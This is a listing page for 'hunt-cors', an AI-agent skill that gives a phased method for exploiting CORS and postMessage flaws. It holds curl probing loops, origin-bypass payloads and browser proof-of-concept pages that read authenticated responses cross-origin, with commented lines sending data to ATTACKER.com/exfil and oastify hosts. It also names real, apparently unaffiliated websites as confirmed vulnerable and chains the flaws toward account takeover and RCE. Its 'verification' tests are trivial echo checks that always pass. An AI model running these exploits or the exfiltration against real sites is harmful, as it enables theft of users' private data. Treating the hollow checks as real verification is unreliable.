关于 hunt-cors
hunt-cors 是用于评估 CORS 策略及相关 postMessage 来源校验的安全测试技能,强调通过浏览器证明攻击者来源能读取敏感的已认证响应,而非仅凭标头判断。
主要功能
- 01发现启用 CORS 的端点
- 02测试来源反射与 null 来源信任
- 03检查受信来源正则表达式缺陷
- 04评估预检请求的方法和标头规则
- 05在浏览器中验证响应是否可读
- 06检查 postMessage 来源校验
适用场景
- 01验证攻击者来源能否读取已认证 API 数据
- 02测试多个 API 端点的 CORS 行为
- 03检查预检规则是否允许跨来源状态更改
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-cors安装后在 Claude Code 中输入/hunt-cors确认已加载。
详细介绍
HUNT-CORS — 跨源资源共享配置错误
哪些情况真正有价值,哪些没有
只有当攻击者控制的源能够对敏感的已认证数据执行带凭据的跨源读取,并且你有浏览器 PoC 证明响应正文可从 evil.com 读取时,CORS 才能获得高危评级。
两条会排除大多数“发现”的浏览器硬性规则——请先检查:
Access-Control-Allow-Origin: *不能与凭据结合使用。 如果服务器返回ACAO: *,浏览器会拒绝为credentials: include请求发送/公开响应。仅使用通配符的端点无法利用凭据攻击。只有当其提供的数据在没有会话的情况下也属于敏感数据(很少见)时,才值得关注——通常为信息级/低危。Access-Control-Allow-Credentials: true单独存在毫无意义。 只有在ACAO反射/允许你的特定攻击者源,且跨源带凭据的fetch实际返回了可读取的正文时,它才有意义。如果响应没有反射你的源,那么 ACAC 不能证明任何问题。
如果你无法在真实浏览器中证明可以跨源读取已认证响应正文,就不能评为高危。不要仅凭响应头差异提交报告。
核心目标
- 反射任意源 + 凭据 — 服务器回显
Origin标头,并设置ACAC: true→ 任何网站都能读取已认证的 API 响应。典型的高危问题。 - 信任 null 源 —
ACAO: null+ACAC: true。sandboxiframe(或data:/重定向链)会发送Origin: null,因此任何页面都能读取已认证数据。 - 子域名正则绕过 — 受信任源的正则表达式存在解析缺陷。正确的攻击载荷取决于具体是哪种缺陷(见阶段 3——这是大多数技能出错的地方)。
- 接管子域名 → 受信任源 — CORS 策略信任一个悬空子域名;接管它并在那里托管 PoC(见 hunt-subdomain)。
- postMessage 缺少/宽松的源检查 — 处理
event.data、却未严格验证event.origin的处理程序。
攻击面信号
Any endpoint returning an Access-Control-Allow-Origin header
API endpoints: /api/*, /v1/*, /graphql
Profile/account: /api/me, /api/profile, /api/user, /api/session
Secrets/tokens: /api/tokens, /api/keys, /api/csrf, /api/account/settings
Financial: /api/balance, /api/transactions
Admin/internal: /api/admin/*, /api/internal/*
优先检查满足以下条件的端点:(a) 需要会话 Cookie;(b) 在响应正文中返回个人身份信息、令牌、CSRF 令牌或其他机密信息。
逐步测试方法
阶段 1 — 发现 CORS 端点
# Probe API endpoints across the entire surface. Critical: test MULTIPLE endpoints,
# not just /users — user-specific and resource-specific URLs may behave differently.
while read url; do
result=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "$url" \
-H "Origin: https://evil.com" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
[ -n "$result" ] && echo "=== $url ===" && echo "$result"
done < recon/$TARGET/api-endpoints.txt
# httpx bulk check
cat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \
httpx -H "Origin: https://evil.com" -match-string "access-control-allow-origin"
阶段 2 — 反射任意源 + null 源
使用多个攻击者源(evil.com、null、evil.com:443)对多个端点进行测试——它们的行为可能有所不同:
# Does the server reflect an arbitrary Origin back?
# Test multiple origins against multiple endpoints in a matrix
for origin in "https://evil.com" "null" "https://evil.com:443"; do
for endpoint in "/wp-json/wp/v2/users" "/wp-json/wp/v2/users/1" \
"/wp-json/wp/v2/posts" "/wp-json/wc/v3/" \
"/wp-json/elementor/v1/globals" "/api/me"; do
echo "--- Origin: $origin on $endpoint ---"
result=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET$endpoint" \
-H "Origin: $origin" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
echo "${result:-NO CORS HEADERS}"
done
done
# Vulnerable (the High case):
# Access-Control-Allow-Origin: https://evil.com <- reflects attacker origin
# Access-Control-Allow-Credentials: true <- + credentials => readable
#
# NOT exploitable for credentialed theft:
# Access-Control-Allow-Origin: * <- browser blocks creds read
# (no ACAC, or ACAC absent) <- not credentialed
# Null-origin trust
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null https://$TARGET/api/me \
-H "Origin: null" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
# Looking for: Access-Control-Allow-Origin: null + ACAC: true
阶段 3 — 子域名 / 可信来源正则绕过
具体载荷取决于服务器存在哪种正则缺陷。先识别缺陷类型,再发送匹配的载荷。判断错误会浪费测试机会并导致假阴性。
服务器正则(预期:信任 *.target.com) | 缺陷 | 匹配的绕过来源 | 原因 |
|---|---|---|---|
^https?://.*\.target\.com$ | 无——点号已转义,且有结束锚点。正确。 | (无简单绕过方式) | evil.target.com 按设计属于范围内;x.target.com.evil.com 以 .evil.com 结尾,不符合 $。继续测试,或寻找子域名接管漏洞。 |
^https?://.*target\.com$ | 缺少点号分隔符(target 前没有 \.) | https://eviltarget.com | .*target\.com$ 会匹配 eviltarget.com——攻击者注册 eviltarget.com。 |
^https?://.*\.target\.com | 缺少结束锚点 $ | https://x.target.com.evil.com | 正则匹配前缀;出现 .target.com 后,.evil.com 会被忽略(没有 $)。 |
^https?://target\.com | 仅匹配前缀,没有 $ | https://target.com.evil.com | 匹配 target.com 前缀;后续内容不受限制。 |
^https?://.*\.target\.com$,但正则中的点号未转义(.*.target.com$) | 点号未转义 =“任意字符” | 类似 https://xtargetXcom... 的形式,或 https://evilZtargetZcom,其中 Z 是任意单个字符 | . 匹配任意字符,扩大了匹配范围。 |
| 上述任意一种 | 浏览器在 Origin 中发送的特殊字符 | https://target.com%60.evil.com、https://target.com\x60evil.com | 某些解析器会将反引号 / 下划线视为字母;Safari / 旧版浏览器可能会发出异常来源。确认浏览器确实发送了该来源。 |
# Send each class-specific payload and watch what the server reflects.
for ORIGIN in \
"https://evil.target.com" \
"https://eviltarget.com" \
"https://x.target.com.evil.com" \
"https://target.com.evil.com" \
"https://target.com%60.evil.com" \
"http://target.com"; do
RESULT=$(curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://$TARGET/api/me" \
-H "Origin: $ORIGIN" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
echo "[$ORIGIN] -> ${RESULT:-no CORS}"
done
只有当服务器将你可注册的来源反射到 ACAO 中,且 ACAC: true 时,绕过才算真实。反射回 evil.target.com 并非漏洞,除非你确实能控制 *.target.com 主机(此时请参阅阶段 6 / hunt-subdomain)。
阶段 4 — 预检(OPTIONS)门控绕过
非简单请求(自定义标头、PUT/DELETE/PATCH、非简单的 Content-Type)会触发 CORS 预检 OPTIONS。只有预检响应授权相应方法 / 标头后,浏览器才会发送实际请求。需要测试两点:
- 预检是否为你的来源授权任意方法 / 标头?
如果
Access-Control-Allow-Methods/Access-Control-Allow-Headers会反射你请求的任何内容,恶意来源就能发起会改变状态的请求 (可进一步利用,发起 JSON / SameSite 原本会阻止的 CSRF 式写入)。
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null -X OPTIONS "https://$TARGET/api/account/email" \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: x-custom-auth, content-type" \
| grep -i "access-control"
# Vulnerable: ACAO reflects evil.com + ACAC:true +
# Access-Control-Allow-Methods: PUT + Access-Control-Allow-Headers: x-custom-auth
# => attacker origin can issue authed PUT/DELETE with custom headers.
- 服务器端是否真的强制执行预检? 有些服务器会在
OPTIONS响应中反射来源,但实际 GET/POST 请求也会反射——漏洞在读取路径;预检只是确认写入路径可达。也要直接测试 GET/POST——切勿假设预检结果与实际请求结果相同。请在浏览器中确认,因为 curl 完全不会执行 CORS 检查。
阶段 5 — 浏览器 PoC(唯一能证明影响的方式)
curl --max-time 30 --connect-timeout 10 不会强制执行 CORS——即使浏览器会阻止读取,它也会照样显示反射的标头。每个 CORS 高危问题都需要浏览器 PoC。
5a. 反射任意来源并读取(托管在 evil.com 上,并在登录目标站点时打开):
<!doctype html><body><pre id="out"></pre>
<script>
fetch("https://TARGET/api/me", {credentials: "include"})
.then(r => r.text())
.then(d => {
document.getElementById("out").innerText = d; // prove readable body
// OOB proof: fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(d));
})
.catch(e => document.getElementById("out").innerText = "BLOCKED: " + e);
</script></body>
如果看到 BLOCKED / a TypeError,说明浏览器拒绝了读取——无论 curl 显示了什么,这都不是有效发现(这是 ACAO: * + 凭据的情况)。
5b. WordPress REST API 多端点 CORS 验证:
<!doctype html><body><pre id="out"></pre>
<script>
// WordPress REST API CORS credential reflect — proven on 5 targets in field recon
(async () => {
const TARGET = "https://TARGET";
let output = [];
// 1. Get ALL users
try {
let r = await fetch(TARGET + "/wp-json/wp/v2/users", {credentials:"include"});
let d = await r.json();
output.push("USERS (" + d.length + "): " + JSON.stringify(d.map(u => u.name)));
// OOB exfil: await fetch("https://ATTACKER.com/exfil?u="+btoa(JSON.stringify(d)));
} catch(e) { output.push("USERS: BLOCKED - " + e); }
// 2. Get posts
try {
let r = await fetch(TARGET + "/wp-json/wp/v2/posts?per_page=100", {credentials:"include"});
let d = await r.json();
output.push("POSTS: " + d.length + " items");
} catch(e) {}
// 3. Get media/documents (PDFs, images)
try {
let r = await fetch(TARGET + "/wp-json/wp/v2/media?per_page=100", {credentials:"include"});
let d = await r.json();
output.push("MEDIA: " + d.length + " items");
} catch(e) {}
document.getElementById("out").innerText = output.join("\n---\n");
})();
</script></body>
5c. Null 来源读取——sandbox iframe 会发送 Origin: null。内部文档必须没有 allow-same-origin,这样其来源才是不透明的(null):
<!doctype html><body>
<iframe sandbox="allow-scripts" srcdoc='
<script>
fetch("https://TARGET/api/me", {credentials: "include"})
.then(r => r.text())
.then(d => parent.postMessage(d, "*"));
</script>'></iframe>
<script>
window.addEventListener("message", e => {
// d is the authed body, read cross-origin via a null Origin
// fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(e.data));
console.log("NULL-ORIGIN READ:", e.data);
});
</script></body>
(其他生成 null 来源的方式:data: / blob: 文档,或通过最终跳转为跨 scheme 的 302 重定向链转发请求。)
5d. 受信任子域读取——控制了正则表达式信任的主机后(通过接管真实子域,或使用与阶段 3 中有漏洞的正则表达式匹配的可注册来源),将 5a 托管在那里。此时,反射的来源是你合法托管的来源,因此浏览器允许读取。
阶段 6 — postMessage 来源检查
# Find message handlers that don't strictly validate event.origin.
grep -rEn "addEventListener\(['\"]message" recon/$TARGET/ --include="*.js" \
| grep -v "\.origin"
# Then audit each hit: does it check event.origin against an allowlist
# BEFORE using event.data? Weak checks to flag:
# .indexOf("target.com") > -1 <- "target.com.evil.com" passes
# .endsWith("target.com") <- "eviltarget.com" passes
# startsWith("https://target") <- "https://target.evil.com" passes
# no check at all
postMessage 与 HTTP CORS 属于不同类别——影响发生在 DOM 侧(XSS、客户端身份验证绕过)。有关利用细节,请参阅 hunt-dom。
自动化(仅用于分流——绝不能作为证明)
# corsy — fast reflection/null/pre-domain checks
pip3 install corsy
corsy -u https://$TARGET -t 10 --headers "Cookie: $SESSION_COOKIE"
# nuclei CORS templates
nuclei -u https://$TARGET -t http/misconfiguration/cors/
# Burp: passively flags origin reflection; always re-confirm in a real browser.
每个自动化命中都只是线索,而非发现。请在浏览器中复现 5a/5b。
攻击链表
| CORS 发现 | 攻击链目标 | 影响 |
|---|---|---|
| 反射攻击者来源 + 凭据 | 浏览器读取 /api/me、/api/tokens、/api/csrf | 窃取 PII、令牌和 CSRF 令牌 → 通常可导致 ATO |
| 反射来源并读取 CSRF 令牌 | hunt-csrf:窃取令牌 → 伪造状态变更 | 攻击受 CSRF 保护的表单 |
| 预检请求允许任意方法/标头 | 从恶意来源发起已认证的 PUT/DELETE | 跨来源状态变更 |
| 受信任子域存在 XSS | hunt-xss → 从受信任来源运行 5a | 可靠地读取凭据保护的数据 |
| 悬空的受信任子域 | hunt-subdomain takeover → 在那里托管 5d | 完全读取凭据保护的数据 |
| postMessage 没有/来源检查宽松 | hunt-dom:注入 iframe,发送精心构造的消息 | DOM XSS / 客户端身份验证绕过 |
验证规范(提交前阅读)
- 必须提供浏览器证据。 curl 显示响应头并不代表漏洞利用。
请展示从
evil.com读取已认证响应正文的截图或控制台日志。如果 fetch 抛出异常或记录了BLOCKED,就没有可报告的问题。 ACAO: *+ 凭据 = 不构成发现。 浏览器会拦截。只有在数据未经身份验证也属于敏感信息时,才考虑通配符(此时通常为低危)。- 单独的
ACAC: true无法证明任何问题——它必须与反射的来源以及成功读取的跨域响应正文同时出现。 - 让正则表达式类别与载荷匹配(阶段 3)。 不要针对以转义点结尾的正则表达式提交
target.com.evil.com——它不匹配,因此不是漏洞。 - 反射
evil.target.com并不自动构成漏洞——按设计,它是范围内的子域名,除非你确实能控制它。 - 盲测/无头环境下的带外确认: 将读取到的响应正文外传到 Burp Collaborator / oastify 主机,并展示交互记录。每次测试使用唯一标记,确保该命中明确属于你。
- 敏感数据要求。 能读取
/api/health并不属于高危。要证明严重性,必须将读取内容与个人身份信息、令牌、机密或财务数据关联起来。
严重性:
- 反射攻击者来源 + 凭据 + 敏感响应正文,且有浏览器证据:高危
- 预检允许攻击者来源对敏感操作执行状态更改:高危
- 空来源 + 敏感的已认证响应正文,且有浏览器证据:中危至高危
- 子域名接管/XSS 辅助的凭据认证读取:高危/严重
- 反射来源,但无凭据/无敏感信息:低危至信息性
- **仅有
ACAO: *(不可能使用凭据):信息性,除非数据属于机密 - 端点特定策略:
/上可能没有 CORS 标头,但 API 路由上可能有。请测试应用映射期间确定的、范围明确的已认证端点,而不只是根路径。
操作人员须知
WP Engine / WordPress CORS 凭据模式
由 WP Engine 托管的 WordPress 网站是一个高信号 CORS 测试目标。WP Engine 技术栈默认不会添加 CORS 来源固定机制——WordPress REST API 会针对任意请求来源返回 Access-Control-Allow-Origin: <origin> 和 Access-Control-Allow-Credentials: true。即使网站位于 Cloudflare WAF 之后也一样,因为 CORS 标头来自应用层(WordPress),而非 CDN。
实地侦察确认存在漏洞的 WP Engine 目标:
- gocarwash.com(洗车服务,Cloudflare + WP Engine)——严重级 CORS + 32 个子域名
- dogtopia.com(宠物美容,Cloudflare + WP Engine)——严重级 CORS + 10 个 WordPress 用户
- provectusre.com、arm-risk.com、finefloorproducts.com(第 2–3 波目标)
测试模式:
curl --max-time 30 --connect-timeout 10 -sI "https://TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -i access-control
# Expected CRITICAL response:
# access-control-allow-origin: https://evil.com
# access-control-allow-credentials: true
非 WP Engine 的 WordPress(Apache、nginx)也存在此模式——locksmiths.net(Apache WordPress)出现了相同的严重级 CORS 来源反射。这是默认 WordPress REST API 配置的普遍现象,并非任何特定主机独有。
另请检查: Jetpack 等 WordPress 插件会在 CORS expose-headers 中公开 Jet-Query-Total 和 Jet-Query-Pages——这可作为次要信号,表明 WordPress REST API 即使在缓存页面上也会返回 CORS 标头。
验证
- CORS 探测——验证来源反射检测:
curl --max-time 30 --connect-timeout 10 -s -D - -o /dev/null "https://httpbin.org/get" -H "Origin: https://evil.com" | grep -i "access-control" && echo "PASS" || echo "(httpbin may be down)" - 空来源测试——确认空来源语法:
echo "Origin: null" | grep -q "null" && echo "PASS" || echo "FAIL" - 预检测试——确认 OPTIONS 语法:
echo "OPTIONS /api/me HTTP/1.1" | grep -q "OPTIONS" && echo "PASS: OPTIONS method recognized" || echo "FAIL"
以上 3 项测试均用于验证 CORS 探测。
易踩问题
- 没有 ACAC 的 ACAO: 是安全的* — 没有
Access-Control-Allow-Credentials: true的Access-Control-Allow-Origin: *不可利用。到此为止。 - 只测试 GET — 有些端点只在 OPTIONS 预检时发送 CORS 响应头。务必同时测试两种方法。
- 只探测单个来源 — 只测试
Origin: https://evil.com会漏掉对 null 来源的信任以及子域名正则表达式绕过模式。 - 需要身份验证的端点产生误报 — 401/403 响应仍可能发送 CORS 响应头。测试时要分别使用和不使用身份验证 Cookie。
- 子域名正则表达式:缺少结尾锚点 —
^https://.*\.target\.com没有$,因此会匹配https://x.target.com.evil.com。务必测试结尾锚点绕过。 - 仅预检请求使用 CORS — 有些服务端只在 OPTIONS 请求中验证 Origin。如果 GET 可以绕过,真正的门槛就是预检请求。
相关技能
hunt-xss— 受信任子域名上的 XSS 可使攻击者来源读取凭据保护的响应。攻击链:在app.target.com上执行 XSS → 从evil.com发起带凭据的 fetch → 窃取受害者已验证会话中的 CSRF 令牌和个人身份信息(PII)。hunt-csrf— 允许任意方法/请求头的预检 CORS 可启用跨源状态变更请求。攻击链:预检确认允许使用PUT和X-CSRF: 1→ 攻击者来源绕过 SameSite 保护,修改密码/电子邮件。hunt-dom— 缺少来源验证的 postMessage 处理器会造成客户端 CORS 绕过原语。攻击链:攻击者 iframe 通过 postMessage 向目标窗口传递身份验证令牌,无需 HTTP CORS 验证。hunt-subdomain— CORS 信任的子域名上存在悬空 CNAME,可实现完整的凭据保护读取。攻击链:接管staging.target.com→ 在现已受控的来源上托管 CORS PoC → 浏览器允许从受信任来源读取凭据保护的响应。hunt-source-leak— JS 包可能会暴露 CORS 配置不同的内部 API 路由。攻击链:源映射揭示/internal/admin/api/me→ 测试这个未公开端点的 CORS——其策略通常比主 API 更宽松。cors-chain-automation— 批量探测 API 端点,大规模查找 CORS 配置错误;可与此技能配合,在初步手动发现后进行自动化。攻击链:手动使用 hunt-cors 在/api/me发现反射任意来源并允许凭据 → 使用cors-chain-automation批量扫描所有同级端点,查找相同配置错误模式。wp-plugin-automation— WordPress REST API 的 CORS 凭据反射在 WP Engine 主机上十分常见;wp-plugin-automation可查找插件 CVE,将 CORS 原语升级为 RCE。攻击链:通过 WordPress REST API 的 CORS 窃取用户列表和 CSRF 令牌 →wp-plugin-automation找到存在漏洞的 Slider Revolution → 仅凭管理员会话即可实现 RCE。